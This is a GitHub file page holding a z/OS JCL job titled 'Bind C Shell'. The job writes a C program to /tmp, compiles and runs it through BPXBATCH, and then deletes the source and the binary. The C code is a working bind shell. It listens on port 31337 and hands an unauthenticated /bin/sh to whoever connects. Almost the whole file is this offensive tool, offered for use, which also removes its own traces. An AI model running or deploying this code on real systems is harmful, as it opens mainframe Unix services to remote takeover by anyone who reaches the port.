-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathUSSBINDC.JCL
More file actions
52 lines (52 loc) · 1.48 KB
/
USSBINDC.JCL
File metadata and controls
52 lines (52 loc) · 1.48 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//<USERID>06 JOB (JOB),'Bind C Shell',CLASS=A,MSGCLASS=0,MSGLEVEL=(1,1)
//* JCL To create a C shell and bind to port 31337
//* Creates files in /tmp and deletes them when you exit
//* by Soldier of FORTRAN
//CREATECS EXEC PGM=IEBGENER
//SYSPRINT DD SYSOUT=*
//SYSIN DD DUMMY
//SYSUT2 DD PATHOPTS=(ORDWR,OTRUNC,OCREAT),PATHMODE=SIRWXU,
// PATHDISP=(KEEP,DELETE),
// FILEDATA=TEXT,
// PATH='/tmp/uss_bind.c'
//SYSUT1 DD DATA,DLM=##
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int argc, char *argv[])
{
int result , sockfd;
int port;
struct sockaddr_in sin;
sockfd = socket(AF_INET,SOCK_STREAM,0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(31337);
bind (sockfd,(struct sockaddr *)&sin,sizeof(sin));
listen(sockfd,5);
result = accept (sockfd,NULL,0);
dup2(result,2);
dup2(result,1);
dup2(result,0);
printf("Creating Bind Shell on port 31337\n");
execl("/bin/sh","sh",NULL);
return EXIT_SUCCESS;
}
##
//OMGLOL EXEC PGM=BPXBATCH,REGION=800M
//* Now that the file is copied we compile and run it
//*STDOUT DD PATH='/tmp/mystd.out',PATHOPTS=(OWRONLY,OCREAT),
//* PATHMODE=SIRWXU
//*STDERR DD PATH='/tmp/mystd.err',PATHOPTS=(OWRONLY,OCREAT),
//* PATHMODE=SIRWXU
//STDPARM DD *
SH cd /tmp;
cc -o /tmp/sh3ll /tmp/uss_bind.c;
/tmp/sh3ll;
rm /tmp/uss_bind.c;
rm /tmp/sh3ll;
/*